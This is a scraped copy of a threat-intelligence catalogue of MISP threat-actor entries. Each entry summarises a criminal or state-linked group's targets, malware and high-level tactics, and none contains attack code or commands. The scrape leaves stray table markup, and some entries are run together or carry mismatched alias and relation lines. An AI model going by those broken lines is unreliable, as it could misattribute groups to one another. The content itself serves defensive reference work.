
The tag is: misp-galaxy:threat-actor="TeamTNT"

TeamTNT is also known as:

- Adept Libra
HAFNIUM

HAFNIUM primarily targets entities in the United States across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs. Microsoft Threat Intelligence Center (MSTIC) attributes this campaign with high confidence to HAFNIUM, a group assessed to be state-sponsored and operating out of China, based on observed victimology, tactics and procedures. HAFNIUM has previously compromised victims by exploiting vulnerabilities in internet-facing servers, and has used legitimate open-source frameworks, like Covenant, for command and control. Once they've gained access to a victim network, HAFNIUM typically exfiltrates data to file sharing sites like MEGA. In campaigns unrelated to these vulnerabilities, Microsoft has observed HAFNIUM interacting with victim Office 365 tenants. While they are often unsuccessful in compromising customer accounts, this reconnaissance activity helps the adversary identify more details about their targets' environments. HAFNIUM operates primarily from leased virtual private servers (VPS) in the United States.

GOLD DUPONT

GOLD DUPONT is a financially motivated cybercriminal threat group that specializes in post-intrusion ransomware attacks using 777 (aka Defray777 or RansomExx) malware. Active since November 2018, GOLD DUPONT establishes initial access into victim networks using stolen credentials to remote access services like virtual desktop infrastructure (VDI) or virtual private networks (VPN). From October 2019 to early 2020 the group used GOLD BLACKBURN's TrickBot malware as an initial access vector (IAV) during some intrusions. Since July 2020, the group has also used GOLD SWATHMORE’s IcedID (Bokbot) malware as an IAV in some intrusions.

The tag is: `misp-galaxy:threat-actor="GOLD DUPONT"`

KNOCKOUT SPIDER

KNOCKOUT SPIDER has conducted low-volume spear-phishing campaigns focused on companies involved in cryptocurrency.

The tag is: *misp-galaxy:threat-actor*="KNOCKOUT SPIDER"

SOLAR SPIDER

SOLAR SPIDER's phishing campaigns deliver the JSOutProx RAT to financial institutions across Africa, the Middle East, South Asia and Southeast Asia.

The tag is: *misp-galaxy:threat-actor*="SOLAR SPIDER"

VIKING SPIDER

VIKING SPIDER is the criminal group behind the development and distribution of Ragnar Locker ransomware. While public reporting indicates the group began threatening to leak victim data in February 2020, a DLS was not observed until April 2020. The DLS is hosted on Tor, and similar to other actors, proof of data exfiltration is provided before the stolen data is fully leaked. It was also noted that On Dec. 22, 2020, a new post made to MountLocker ransomware's Tor-hosted DLS was titled 'Cartel News' and included details of a victim of VIKING SPIDER's Ragnar Locker

The tag is: *misp-galaxy:threat-actor*="VIKING SPIDER"
CIRCUS SPIDER

According to Crowdstrike, the NetWalker ransomware is being developed and maintained by a Russian-speaking actor designated as CIRCUS SPIDER. Initially discovered in September 2019 and having a compilation timestamp dating back to 28 August 2019, NetWalker has been found to be used in Big Game Hunting (BGH)-style operations while also being distributed via spam. CIRCUS SPIDER is advertising NetWalker as a closed-affiliate program and verifies applicants before they are accepted as an affiliate. The requirements range from providing proof of previous revenue in similar affiliates programs, experience in the field and what type of industry the applicant is targeting.

GOLD EVERGREEN

GOLD EVERGREEN was a financially motivated cybercriminal threat group that operated the Gameover Zeus (aka Mapp, P2P Zeus) botnet until June 2014. It encompasses an expansive and long running criminal conspiracy operated by a confederation of individuals calling themselves The Business Club from the mid 2000s until 2014. GOLD EVERGREEN’s technical operation was facilitated primarily through botnets using the Zeus, JabberZeus, and eventually Gameover Zeus malware families. These malware families were designed and maintained by a Russian national Evgeniy Bogachev (aka 'slavik') who was indicted by the U.S. DOJ in 2014 and remains a fugitive.

BAMBOO SPIDER

Crowdstrike tracks the developer of Panda Zeus as BAMBOO SPIDER

The tag is: misp-galaxy:threat-actor="BAMBOO SPIDER"
BOSON SPIDER

BOSON SPIDER is a cyber criminal group, which was first identified in 2015, recently and inexplicably went dark in the spring of 2016, appears to be a tightly knit group operating out of Eastern Europe. They have used a variety of distribution mechanisms such as the infamous (and now defunct) angler exploit kit, and obfuscated JavaScript to reduce the detection by antivirus solutions.

The tag is: `misp-galaxy:threat-actor="BOSON SPIDER"`

OVERLORD SPIDER

OVERLORD SPIDER, aka The Dark Overlord. Similar to ransomware operators today, OVERLORD SPIDER likely purchased RDP access to compromised servers on underground forums in order to exfiltrate data from corporate networks. The actor was known to attempt to “sell back” the data to the respective victims, threatening to sell the data to interested parties should the victim refuse to pay. There was at least one identified instance of OVERLORD SPIDER successfully selling victim data on an underground market.

The tag is: `misp-galaxy:threat-actor="OVERLORD SPIDER"`

OUTLAW SPIDER

On May 7, 2019, Mayor Bernard “Jack” Young confirmed that the network for the U.S. City of Baltimore (CoB) was infected with ransomware, which was announced via Twitter1. This infection was later confirmed to be conducted by OUTLAW SPIDER, which is the actor behind the RobbinHood ransomware. The actor demanded to be paid 3 BTC (approximately $17,600 USD at the time) per infected system, or 13 BTC (approximately $76,500 USD at the time) for all infected systems to recover the city’s files.

GOLD FAIRFAX

GOLD FAIRFAX is a financially motivated cybercriminal threat group responsible for the creation, distribution, and operation of the Ramnit botnet. Ramnit, the phonetic spelling of RMNet, the internal name of the core module, began operation in April 2010 and became widespread in July 2010. A particularly virulent file-infecting component of early Ramnit variants that spreads by modifying executables and HTML files has resulted in the continued prevalence of those early variants. Currently, Ramnit remains an actively maintained and distributed threat. The intent of Ramnit is to intercept and manipulate online financial transactions through modification of web browser behavior ('man-in-the-browser').

GOLD FLANDERS

GOLD FLANDERS is a financially motivated group responsible for distributed denial of service (DDOS) attacks linked to extortion emails demanding between 5 and 30 bitcoins. The attacks consist mostly of fragmented UDP packets (DNS and NTP reflection) as well as other traffic that can vary per victim. The arrival of the extortion email is timed to coincide with a DDOS attack consisting of traffic between 20 Gbps and 200 Gbps and 12-15 million packets per second, lasting between 20 and 70 minutes targeted at a particular Autonomous System Number (ASN) or group of IP addresses. In some cases victim organisations have replied to these extortion emails and received personal replies from GOLD FLANDERS operators within 20 minutes.

</table>

GOLD GALLEON

GOLD GALLEON is a financially motivated cybercriminal threat group comprised of at least 20 criminal associates that collectively carry out business email compromise (BEC) and spoofing (BES) campaigns. The group appears to specifically target maritime organizations and their customers. CTU researchers have observed GOLD GALLEON targeting firms in South Korea, Japan, Singapore, Philippines, Norway, U.S., Egypt, Saudi Arabia, and Colombia. The threat actors leverage tools, tactics, and procedures that are similar to those used by other BEC/BES groups CTU researchers have previously investigated, such as GOLD SKYLINE. The groups have used the same caliber of publicly available malware (inexpensive and commodity remote access trojans), crypters, and email lures.
GOLD GARDEN

GOLD GARDEN was a financially motivated cybercriminal threat group that authored and operated the GandCrab ransomware from January 2018 through May 2019. GandCrab was operated as a ransomware-as-a-service operation whereby numerous affiliates distributed the malware and split ransom payments with the core operators. GOLD GARDEN maintained exclusive control of the development of GandCrab and associated command and control (C2) infrastructure. Individual affiliates, of which there were frequently more than a dozen in operation simultaneously, coordinated the distribution of GandCrab through spam emails, web exploit kits, pay-per-install botnets, and scan-and-exploit style attacks. On May 31, 2019 the operators announced they have halted operations with no intent to resume for unknown reasons. In April 2019 the operators of GOLD GARDEN transferred the source code of GandCrab to GOLD SOUTHFIELD who used it as the foundation of the REvil ransomware operation. GOLD SOUTHFIELD operates a similar affiliate program comprised largely of former GandCrab users and other groups recruited from underground forums.

GOLD MANSARD

GOLD MANSARD is a financially motivated cybercriminal threat group that operated the Nemty ransomware from August 2019. The threat actor behind Nemty is known on Russian underground forums as 'jsworm'. Nemty was operated as a ransomware as a service (RaaS) affiliate program and featured a 'name and shame' website where exfiltrated victim data was leaked. In April 2020, jsworm appeared to acquire new partners and retired the Nemty ransomware. This was followed by the introduction of Nefilim ransomware, which does not operate as an affiliate model. Nefilim has been used in post-intrusion ransomware attacks against organizations in logistics, telecommunications, energy and other sectors.
GOLD NORTHFIELD

Operational since at least October 2020, GOLD NORTHFIELD is a financially motivated cybercriminal threat group that leverages GOLD SOUTHFIELD's REvil ransomware in their attacks. To do this, the threat actors replace the configuration of the REvil ransomware binary with their own in an effort to repurpose the ransomware for their operations. GOLD NORTHFIELD has given this modified REvil ransomware variant the name 'LV ransomware'.

GOLD RIVERVIEW

GOLD RIVERVIEW was a financially motivated cybercriminal group that facilitated the distribution of malware- and scam-laden spam email on behalf of its customers. This threat group authored and sold the Necurs rootkit beginning in early 2014, including to GOLD EVERGREEN who integrated it into Gameover Zeus. GOLD RIVERVIEW also operated a global botnet that was colloquially known as Necurs (Crap2P) and was a major source of spam email from 2016 through 2018. Necurs distributed malware such as GOLD DRAKE's Dridex (Bugat v5), GOLD BLACKBURN's TrickBot, and other families like Locky and FlawedAmmy. Necurs also distributed a large volume of email pushing securities 'pump and dump' scams, rogue pharmacies, and fraudulent dating sites. On March 4, 2019 all three active segments of the Necurs botnet ceased operation and have not since resumed. On March 10, 2020 Microsoft took civil action against GOLD RIVERVIEW and made technical steps that would complicate the threat actors' ability to reconstitute the botnet.

The tag is: misp-galaxy:threat-actor="GOLD RIVERVIEW"

GOLD SKYLINE

GOLD SKYLINE is a financially motivated cybercriminal threat group operating from Nigeria engaged in high-value wire fraud facilitated by business email compromise (BEC) and spoofing (BES). Also known as Wire-Wire Group 1 (WWG1), GOLD SKYLINE has been active since at least 2016 and relies heavily on compromised email accounts, social engineering, and increasingly malware to divert inter-organization funds transfers.
GOLD SOUTHFIELD

GOLD SOUTHFIELD is a financially motivated cybercriminal threat group that authors and operates the REvil (aka Sodinokibi) ransomware on behalf of various affiliated threat groups. Operational since April 2019, the group obtained the GandCrab source code from GOLD GARDEN, the operators of GandCrab that voluntarily withdrew their ransomware from underground markets in May 2019. GOLD SOUTHFIELD is responsible for authoring REvil and operating the backend infrastructure used by affiliates (also called partners) to create malware builds and to collect ransom payments from victims. CTU researchers assess with high confidence that GOLD SOUTHFIELD is a former GandCrab affiliate and continues to work with other former GandCrab affiliates.

GOLD SYMPHONY

GOLD SYMPHONY is a financially motivated cybercrime group, likely based in Russia, that is responsible for the development and sale on underground forums of the Buer Loader malware. First discovered around August 2019, Buer Loader is offered as a malware-as-a-service (MaaS) and has been advertised by a threat actor using the handle ‘memeos’. Customers include GOLD BLACKBURN, the operators of the TrickBot malware. In addition to TrickBot, Buer Loader has been reported to download Cobalt Strike and other tools for use in post-intrusion ransomware attacks.
**GOLD WATERFALL**

GOLD WATERFALL is a group of financially motivated cybercriminals responsible for the creation, distribution, and operation of the Darkside ransomware. Active since August 2020, GOLD WATERFALL uses a variety of tactics, techniques, and procedures (TTPs) to infiltrate and move laterally within targeted organizations to deploy Darkside ransomware to its most valuable resources. Among these TTPs are using malicious documents delivered by email to establish a foothold and using stolen credentials to access victims' remote access services. In November 2020, the 'darksupp' persona was observed advertising an affiliate program on several semi-exclusive underground forums, marking GOLD WATERFALL's entry into the ransomware-as-a-service (RaaS) landscape.

</tr>
</tbody>
</table>

**GOLD WINTER**

GOLD WINTER are a financially motivated group, likely based in Russia, who operate the Hades ransomware. Hades activity was first identified in December 2020 and its lack of presence on underground forums and marketplaces leads CTU researchers to conclude that it is not operated under a ransomware as a service affiliate model. GOLD WINTER do employ name-and-shame tactics, where data is stolen and used as additional leverage over victims, but rather than a single centralized leak site CTU researchers have observed the group using Tor sites customized for each victim that include a Tox chat ID for communication, which also appears to be unique for each victim.

TA2541

Persistent cybercrime threat actor targeting aviation, aerospace, transportation, manufacturing, and defense industries for years. This threat actor consistently uses remote access trojans (RATs) that can be used to remotely control compromised machines. This threat actor uses consistent themes related to aviation, transportation, and travel. The threat actor has used similar themes and targeting since 2017.

The tag is: misp-galaxy:threat-actor="TA2541"
TA516

This actor typically distributes instances of the SmokeLoader intermediate downloader, which, in turn, downloads additional malware of the actor’s choice — often banking Trojans. Figure 3 shows a lure document from a November campaign in which TA516 distributed fake resumes with malicious macros that, if enabled, launch a PowerShell script that downloads SmokeLoader. In this instance, we observed SmokeLoader downloading a Monero coinminer. Since the middle of 2017, TA516 has used similar macro-laden documents as well as malicious JavaScript hosted on Google Drive to distribute both Panda Banker and a coinminer executable via SmokeLoader, often in the same campaigns.

The tag is: misp-galaxy:threat-actor="TA516"

TA547

TA547 is responsible for many other campaigns since at least November 2017. The other campaigns by the actor were often localized to countries such as Australia, Germany, the United Kingdom, and Italy. Delivered malware included ZLoader (a.k.a. Terdot), Gootkit, Ursnif, Corebot, Panda Banker, Atmos, Mazar Bot, and Red Alert Android malware.

The tag is: misp-galaxy:threat-actor="TA547"

TA554

Since May 2018, Proofpoint researchers have observed email campaigns using a new downloader called sLoad. sLoad is a PowerShell downloader that most frequently delivers Ramnit banker and includes noteworthy reconnaissance features. The malware gathers information about the infected system including a list of running processes, the presence of Outlook, and the presence of Citrix-related files. sLoad can also take screenshots and check the DNS cache for specific domains (e.g., targeted banks), as well as load external binaries. While initial versions of sLoad appeared in May 2018, we began tracking the campaigns from this actor (internally named TA554) since at least the beginning of 2017.
The tag is: misp-galaxy:threat-actor="TA554"

TA554 is also known as:

- TH-163

Table 11428. Table References

<table>
<thead>

</tr>
</thead>
</table>

**TA555**

Beginning in May 2018, Proofpoint researchers observed a previously undocumented downloader dubbed AdvisorsBot appearing in malicious email campaigns. The campaigns appear to primarily target hotels, restaurants, and telecommunications, and are distributed by an actor we track as TA555. To date, we have observed AdvisorsBot used as a first-stage payload, loading a fingerprinting module that, as with Marap, is presumably used to identify targets of interest to further infect with additional modules or payloads. AdvisorsBot is under active development and we have also observed another version of the malware completely rewritten in PowerShell and .NET.

The tag is: misp-galaxy:threat-actor="TA555"

**TA800**

This attacker is an affiliate distributor of the The Trick, also known as Trickbot, and BazaLoader. (For more on how affiliates work, see the description of TA573). TA800 has targeted a wide range of industries in North America, infecting victims with banking Trojans and malware loaders (malware designed to download other malware onto a compromised device). Malicious emails have often included recipients' names, titles and employers along with phishing pages designed to look like the targeted company. Lures have included hard-to-resist subjects such as related to payment, meetings, termination, bonuses and complaints in the subject line or body of the email.

UNC3524

Mandiant observed this group operating since December 2019. Its techniques partially overlap with multiple Russian-based espionage actors (APT28 and APT29). They are described as having a high level of operational security, low malware footprint, adept evasive skills, and a large Internet of Things (IoT) device botnet at their disposal.

The tag is: `misp-galaxy:threat-actor="UNC3524"`

Curious Gorge

Curious Gorge, a group TAG attributes to China’s PLA SSF, has conducted campaigns against government and military organizations in Ukraine, Russia, Kazakhstan, and Mongolia. The actor has remained active against government, military, logistics and manufacturing organizations in Ukraine, Russia and Central Asia. In Russia, long running campaigns against multiple government organizations have continued, including the Ministry of Foreign Affairs. Over the past week, TAG identified additional compromises impacting multiple Russian defense contractors and manufacturers and a Russian logistics company.

The tag is: `misp-galaxy:threat-actor="Curious Gorge"`

Curious Gorge is also known as:

- UNC3742
Red Menshen

Since 2021, Red Menshen, a China based threat actor, which has been observed targeting telecommunications providers across the Middle East and Asia, as well as entities in the government, education, and logistics sectors using a custom backdoor referred as BPFDoor. This threat actor uses a variety of tools in its post-exploitation phase. This includes custom variants of the shared tool Mangzamel (including Golang variants), custom variants of Gh0st, and open source tools like Mimikatz and Metasploit to aid in its lateral movement across Windows systems. Also, They have been seen sending commands to BPFDoor victims via Virtual Privat Servers (VPSs) hosted at a well-known provider, and that these VPSs, in turn, are administered via compromised routers based in Taiwan, which the threat actor uses as VPN tunnels. Most Red Menshen activity that has been observed took place between Monday to Friday (with none observed on the weekends), with most communication taking place between 01:00 and 10:00 UTC. This pattern suggests a consistent 8 to 9-hour activity window for the threat actor, with realistic probability of it aligning to local working hours.

The tag is: misp-galaxy:threat-actor="Red Menshen"

Red Menshen is also known as:

- Red Dev 18

ModifiedElephant

Our research into these intrusions revealed a decade of persistent malicious activity targeting specific groups and individuals that we now attribute to a previously unknown threat actor named
ModifiedElephant. This actor has operated for years, evading research attention and detection due to their limited scope of operations, the mundane nature of their tools, and their regionally-specific targeting. ModifiedElephant is still active at the time of writing.

The tag is: *misp-galaxy:threat-actor="ModifiedElephant"*

---

**EXOTIC LILY**

EXOTIC LILY is a resourceful, financially motivated group whose activities appear to be closely linked with data exfiltration and deployment of human-operated ransomware such as Conti and Diavol. In early September 2021, the group has been observed exploiting a 0day in Microsoft MSHTML (CVE-2021-40444). Investigation lead researchers to believe that they are an Initial Access Broker (IAB) who appear to be working with the Russian cyber crime gang known as FIN12 (Mandiant, FireEye) / WIZARD SPIDER (CrowdStrike). This threat actor deploys tactics, techniques and procedures (TTPs) that are traditionally associated with more targeted attacks, like spoofing companies and employees as a means of gaining trust of a targeted organization through email campaigns that are believed to be sent by real human operators using little-to-no automation. Additionally and rather uniquely, they leverage legitimate file-sharing services like WeTransfer, TransferNow and OneDrive to deliver the payload, namely BUMBLEEBEE and BAZARLOADER, further evading detection mechanisms. This level of human-interaction is rather unusual for cyber crime groups focused on mass scale operations.

The tag is: *misp-galaxy:threat-actor="EXOTIC LILY"*

EXOTIC LILY is also known as:

- DEV-0413

### Earth Wendigo

Earth Wendigo is a threat actor from China that has been targeting several organizations — including government organizations, research institutions, and universities in Taiwan — since May 2019, aiming to exfiltrate emails from targeted organizations via the injection of JavaScript backdoors to a webmail system that is widely used in Taiwan. The threat actor also sent spear-phishing emails embedded with malicious links to multiple individuals, including politicians and activists, who support movements in Tibet, the Uyghur region, or Hong Kong.

The tag is: misp-galaxy:threat-actor="Earth Wendigo"
BRONZE EDGEWOOD

In early 2021 CTU researchers observed BRONZE EDGEWOOD exploiting the Microsoft Exchange Server of an organization in Southeast Asia. The threat group deployed a China Chopper webshell and ran the Nishang Invoke-PowerShellTcp.ps1 script to connect back to C2 infrastructure. The threat group is publicly linked to malware families Chinoxy, PCShare and FunnyDream. CTU researchers have discovered that BRONZE EDGEWOOD also leverages Cobalt Strike in its intrusion activity. BRONZE EDGEWOOD has been active since at least 2018 and targets government and private enterprises across Southeast Asia. CTU researchers assess with moderate confidence that BRONZE EDGEWOOD operates on behalf the Chinese government and has a remit that covers political espionage.

The tag is: `misp-galaxy:threat-actor="BRONZE EDGEWOOD"`

BRONZE EDGEWOOD is also known as:

- Red Hariasa

Table 11457. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

APT9

APT9 engages in cyber operations where the goal is data theft, usually focusing on the data and projects that make a particular organization competitive within its field. APT9 was historically very active in the pharmaceuticals and biotechnology industry. We have observed this actor use spearphishing, valid accounts, as well as remote services for Initial Access. On at least one occasion, Mandiant observed APT9 at two companies in the biotechnology industry and suspect that APT9 actors may have gained initial access to one of the companies by using a trusted relationship between the two companies. APT9 use a wide range of backdoors, including publicly available backdoors, as well as backdoors that are believed to be custom, but are used by multiple APT groups.

The tag is: `misp-galaxy:threat-actor="APT9"`

APT9 is also known as:

- NIGHTSHADE PANDA
- Red Pegasus
BRONZE SPRING

BRONZE SPRING is a threat group that CTU researchers assess with high confidence operates on behalf of China in the theft of intellectual property from defense, engineering, pharmaceutical and technology companies. The threat group typically uses scan-and-exploit for initial access, deploys the China Chopper webshell for remote execution and persistence, and creates RAR archives with a '.jpg' file extension for data exfiltration. In July 2020 the U.S. Department of Justice indicted two Chinese hackers CTU researchers assess are members of the BRONZE SPRING threat group. The Department of Justice allege these hackers were responsible for compromising networks of hundreds of organisations and individuals in the U.S. and abroad since 2009, and that exfiltrated data would be passed to the Chinese Ministry of State Security or sold for financial gain.

The tag is: misp-galaxy:threat-actor="BRONZE SPRING"

BRONZE SPRING is also known as:

• UNC302
BRONZE STARLIGHT

BRONZE STARLIGHT has been active since mid 2021 and targets organizations globally across a range of industry verticals. The group leverages HUI Loader to load Cobalt Strike and PlugX payloads for command and control. CTU researchers have observed BRONZE STARLIGHT deploying ransomware to compromised networks as part of name-and-shame ransomware schemes, and posted victim names to leak sites. CTU researchers assess with moderate confidence that BRONZE STARLIGHT is located in China based on observed tradecraft, including the use of HUI Loader and PlugX which are associated with China-based threat group activity. It is plausible that BRONZE STARLIGHT deploys ransomware as a smokescreen rather than for financial gain, with the underlying motivation of stealing intellectual property theft or conducting espionage.

The tag is: misp-galaxy:threat-actor="BRONZE STARLIGHT"

BRONZE STARLIGHT is also known as:

• SLIME34
• DEV-0401

BRONZE HIGHLAND

BRONZE HIGHLAND has been observed using spearphishing as an initial infection vector to deploy the MgBot remote access trojan against targets in Hong Kong. Third party reporting suggests the threat group also targets India, Malaysia and Taiwan and leverages Cobalt Strike and KsRemote Android Rat. CTU researchers assess with moderate confidence that BRONZE HIGHLAND operates on behalf of China and has a remit covering espionage against domestic human rights and pro-democracy advocates and nations neighbouring China.
BRONZE HIGHLAND is also known as:

- Evasive Panda
- Daggerfly

BRONZE SPIRAL

In December 2020, the IT management software provider SolarWinds announced that an unidentified threat actor had exploited a vulnerability in their Orion Platform software to deploy a web shell dubbed SUPERNOVA. CTU researchers track the operators of the SUPERNOVA web shell as BRONZE SPIRAL and assess with low confidence that the group is of Chinese origin. SUPERNOVA was likely deployed through exploitation of CVE-2020-10148, and CTU researchers observed post-exploitation reconnaissance commands roughly 30 minutes before the web shell was deployed. This may have been indicative of the threat actor conducting scan-and-exploit activity and then triaging for victims of particular interest, before deploying SUPERNOVA and attempting to dump credentials and move laterally.

BRONZE SPIRAL has been associated with previous intrusions involving the targeting of ManageEngine servers, maintenance of long-term access to periodically harvest credentials and exfiltrate data, and espionage or theft of intellectual property. The threat group makes extensive use of native system tools and 'living off the land' techniques.

</table>
BRONZE VAPOR

BRONZE VAPOR is a targeted threat group assessed with moderate confidence to be of Chinese origin. Artefacts from tools associated with this group and open source reporting on related incidents indicate that BRONZE VAPOR have operated since at least 2017. The group conducts espionage against multiple industries including semiconductors, aviation and telecommunications. CTU researchers assess BRONZE VAPOR's intent to be information theft, with operations focused on intellectual property (semiconductors) and personally identifiable information such as traveller records (aviation). Compromise of telecommunications companies can yield personally identifiable information and meta data on client communications such as Call Data Records (CDR).

Prior to 2019 their operational focus, with some exceptions, revolved around targets in East Asia particularly Taiwan with it's thriving semiconductor industry. In 2021 details emerged in open source of attacks on at least one European semiconductor company believed to date back to 2017. In 2019 BRONZE VAPOR attacked one of more entities in the European airlines sector. The group gains initial access via VPN services, may use spearphishing with 'Letter of Appointment' themed lures, and deploys Cobalt Strike along with custom data exfiltration tools to target organizations. Post-intrusion activity involves living-of-the-land using legitimate tools and commands available within victim environment as well as using AceHash for credential harvesting, WATERCYCLE for data exfiltration and STOCKPIPE for proxying information through Microsoft Exchange servers over email.

BRONZE VAPOR uses a set of tactics that, although not individually unique, when viewed in aggregate create a relatively distinct playbook. Intrusions begin with credential based attacks against an existing remote access solution (Citrix, VPN etc.) or B2B network access. Cobalt Strike is deployed into the environment and further access is then conducted via Cobalt Strike Beacon and other features of the platform. Sharphound is deployed to map out the victim’s Active Directory infrastructure and and collect critical information about the domain including important account names. Command and control infrastructure is hosted on subdomains of Azure and Appspot services to blend in with legitimate traffic. The threat actor also registers their own domains for command and control, often with a "sync" or "update" related theme. WinRAR is commonly used for compressing data prior to exfiltration. Filenames for these archives often involve a string of numbers and variations of the word "update". Data is exfiltrated using WATERCYCLE to cloud based platforms such as OneDrive and GoogleDrive.

**Red Nue**

Red Nue, active since at least 2017, is known for its use of the multi-platform LootRAt backdoor, also known as ReverseWindow. LootRAT has variants for Windows and Macintosh (reported in open source as Demsty), as well as an Android variant known as SpyDealer. Red Nue has also used another Windows backdoor known as WinDealer since at least 2019, when it deployed it to targets as part of a watering hole campaign on a Chinese news website for the Chinese diaspora community. Parts of Asia feature heavily in Red Nue's victimology.

The tag is: *misp-galaxy:threat-actor*="Red Nue"

Red Nue is also known as:

- LuoYu
### Pickaxe

Prying Libra, also known as Pickaxe, is a threat actor active since at least August 2017, and continues to remain active to this day. The adversary's goal is to install and maintain a popular cryptocurrency miner on the victim's machine. The miner in question is an open-source tool named XMRig that generates the Monero cryptocurrency. Malware is delivered via downloads through the popular Adfly advertisement platform. Users are often mislead into clicking on a malicious advertisement that results in the payload being delivered to the victim. Once installed, the malware leverages VBS scripts and redirection services, such as bitly, to ultimately download and execute XMRig. Over 15 million confirmed victims have been discovered to be infected in recent campaigns, with actual numbers likely to be between 30-45 million victims. The victims are found across the globe, with high concentrations in Thailand, Vietnam, Egypt, Indonesia, and Turkey.

The tag is: `misp-galaxy:threat-actor="Pickaxe"`

Pickaxe is also known as:

- Prying Libra

### Watchdog

Thief Libra is a cloud-focused threat group that has a history of cryptojacking operations as well as cloud service platform credential scraping. They were first known to operate on January 27, 2019. They use a variety of custom build Go Scripts as well as repurposed cryptojacking scripts from other groups including TeamTNT. They are currently considered to be an opportunistic threat group that targets exposed cloud instances and applications.

The tag is: `misp-galaxy:threat-actor="Watchdog"`

Watchdog is also known as:

TA558

Since 2018, security researchers tracked a financially-motivated cybercrime actor, TA558, targeting hospitality, travel, and related industries located in Latin America and sometimes North America, and western Europe. The actor sends malicious emails written in Portuguese, Spanish, and sometimes English. The emails use reservation-themed lures with business-relevant themes such as hotel room bookings. The emails may contain malicious attachments or URLs aiming to distribute one of at least 15 different malware payloads.

The tag is: *misp-galaxy:threat-actor="TA558"

PARINACOTA

One actor that has emerged in this trend of human-operated attacks is an active, highly adaptive group that frequently drops Wadhrama as payload. PARINACOTA impacts three to four organizations every week and appears quite resourceful: during the 18 months that we have been monitoring it, we have observed the group change tactics to match its needs and use compromised machines for various purposes, including cryptocurrency mining, sending spam emails, or proxying for other attacks. The group's goals and payloads have shifted over time, influenced by
the type of compromised infrastructure, but in recent months, they have mostly deployed the Wadhrama ransomware. The group most often employs a smash-and-grab method, whereby they attempt to infiltrate a machine in a network and proceed with subsequent ransom in less than an hour. There are outlier campaigns in which they attempt reconnaissance and lateral movement, typically when they land on a machine and network that allows them to quickly and easily move throughout the environment. PARINACOTA’s attacks typically brute forces their way into servers that have Remote Desktop Protocol (RDP) exposed to the internet, with the goal of moving laterally inside a network or performing further brute-force activities against targets outside the network. This allows the group to expand compromised infrastructure under their control. Frequently, the group targets built-in local administrator accounts or a list of common account names. In other instances, the group targets Active Directory (AD) accounts that they compromised or have prior knowledge of, such as service accounts of known vendors. The group adopted the RDP brute force technique that the older ransomware called Samas (also known as SamSam) infamously used. Other malware families like GandCrab, MegaCortext, LockerGoga, Hermes, and RobbinHood have also used this method in targeted ransomware attacks. PARINACOTA, however, has also been observed to adapt to any path of least resistance they can utilize. For instance, they sometimes discover unpatched systems and use disclosed vulnerabilities to gain initial access or elevate privileges.

**Red Dev 17**

In 2021, PwC started tracking a series of intrusions under the moniker of Red Dev 17 that they assess were highly likely conducted by a China-based threat actor. Their analysis suggests Red Dev 17 has been active since at least 2017. Red Dev 17’s observed targets are mainly in India, and include the Indian military, a multinational India-based technology company, and a state energy company. They assess that it is highly probable that the threat actor behind intrusions associated with Red Dev 17 is also responsible for the campaign known in open source as Operation NightScout. Red Dev 17 is a user of the 8.t document weaponisation framework (also known as RoyalRoad), and abuses benign utilities such as Logitech or Windows Defender binaries to sideload
and execute Chinoxy or PoisonIvy variants on victim systems. They identified capability and infrastructure links between Red Dev 17 and the threat actor they call Red Hariasa (aka FunnyDream APT), as well as infrastructure overlaps with Red Wendigo (aka Icefog, RedFoxtrot), and with ShadowPad C2 servers. At this time, they do not have sufficient evidence to directly link Red Dev 17 to any of these threat actors. However, They assess with realistic probability that Red Dev 17 operates within a cluster of threat actors that share tools and infrastructure, as well as a strong targeting focus on Southeast Asia and Central Asia.

The tag is: `misp-galaxy:threat-actor="Red Dev 17"

### Aoqin Dragon

SentinelLabs has uncovered a cluster of activity beginning at least as far back as 2013 and continuing to the present day, primarily targeting organizations in Southeast Asia and Australia. They assess that the threat actor's primary focus is espionage and relates to targets in Australia, Cambodia, Hong Kong, Singapore, and Vietnam. We track this activity as 'Aoqin Dragon'. The threat actor has a history of using document lures with pornographic themes to infect users and makes heavy use of USB shortcut techniques to spread the malware and infect additional targets. Attacks attributable to Aoqin Dragon typically drop one of two backdoors, Mongall and a modified version of the open source Heyoka project.

The tag is: `misp-galaxy:threat-actor="Aoqin Dragon"

Aoqin Dragon is also known as:

- UNC94

### Dangerous Savanna

Malicious campaign called DangerousSavanna has been targeting multiple major financial service groups in French-speaking Africa for the last two years. The threat actors behind this campaign use spear-phishing as a means of initial infection, sending emails with malicious attachments to the employees of financial institutions in at least five different French-speaking countries: Ivory Coast,
Morocco, Cameroon, Senegal, and Togo. DangerousSavanna tends to install relatively unsophisticated software tools in the infected environments. These tools are both self-written and based on open-source projects such as Metasploit, PoshC2, DWservice, and AsyncRAT. The threat actors' creativity is on display in the initial infection stage, as they persistently pursue the employees of the targeted companies, constantly changing infection chains that utilize a wide range of malicious file types, from self-written executable loaders and malicious documents, to ISO, LNK, JAR and VBE files in various combinations. The evolving infection chains by the threat actor reflect the changes in the threat landscape seen over the past few years as infection vectors became more and more sophisticated and diverse.

DEV-0147

DEV-0147 is a China-based cyber espionage actor was observed compromising diplomatic targets in South America, a notable expansion of the group’s data exfiltration operations that traditionally targeted gov’t agencies and think tanks in Asia and Europe. DEV-0147 is known to use tools like ShadowPad, a remote access trojan associated with other China-based actors, to maintain persistent access, and QuasarLoader, a webpack loader, to deploy additional malware. DEV-0147’s attacks in South America included post-exploitation activity involving the abuse of on-premises identity infrastructure for recon and lateral movement, and the use of Cobalt Strike for command and control and data exfiltration.

The tag is: `misp-galaxy:threat-actor="DEV-0147"`

TA406

TA406 is engaging in malware distribution, phishing, intelligence collection, and cryptocurrency theft, resulting in a wide range of criminal activities.

- uses: `misp-galaxy:threat-actor="APT41"` with `estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:malpedia="KEYPLUG"` with `estimative-language:likelihood-probability="likely"

### APT43

- APT43 is a prolific cyber operator that supports the interests of the North Korean regime. The
group combines moderately-sophisticated technical capabilities with aggressive social engineering tactics, especially against South Korean and U.S.-based government organizations, academics, and think tanks focused on Korean peninsula geopolitical issues.

- In addition to its espionage campaigns, we believe APT43 funds itself through cybercrime operations to support its primary mission of collecting strategic intelligence.
- The group creates numerous spoofed and fraudulent personas for use in social engineering, as well as cover identities for purchasing operational tooling and infrastructure.
- APT43 has collaborated with other North Korean espionage operators on multiple operations, underscoring the major role APT43 plays in the regime’s cyber apparatus.

The tag is: misp-galaxy:threat-actor="APT43"

</tbody>
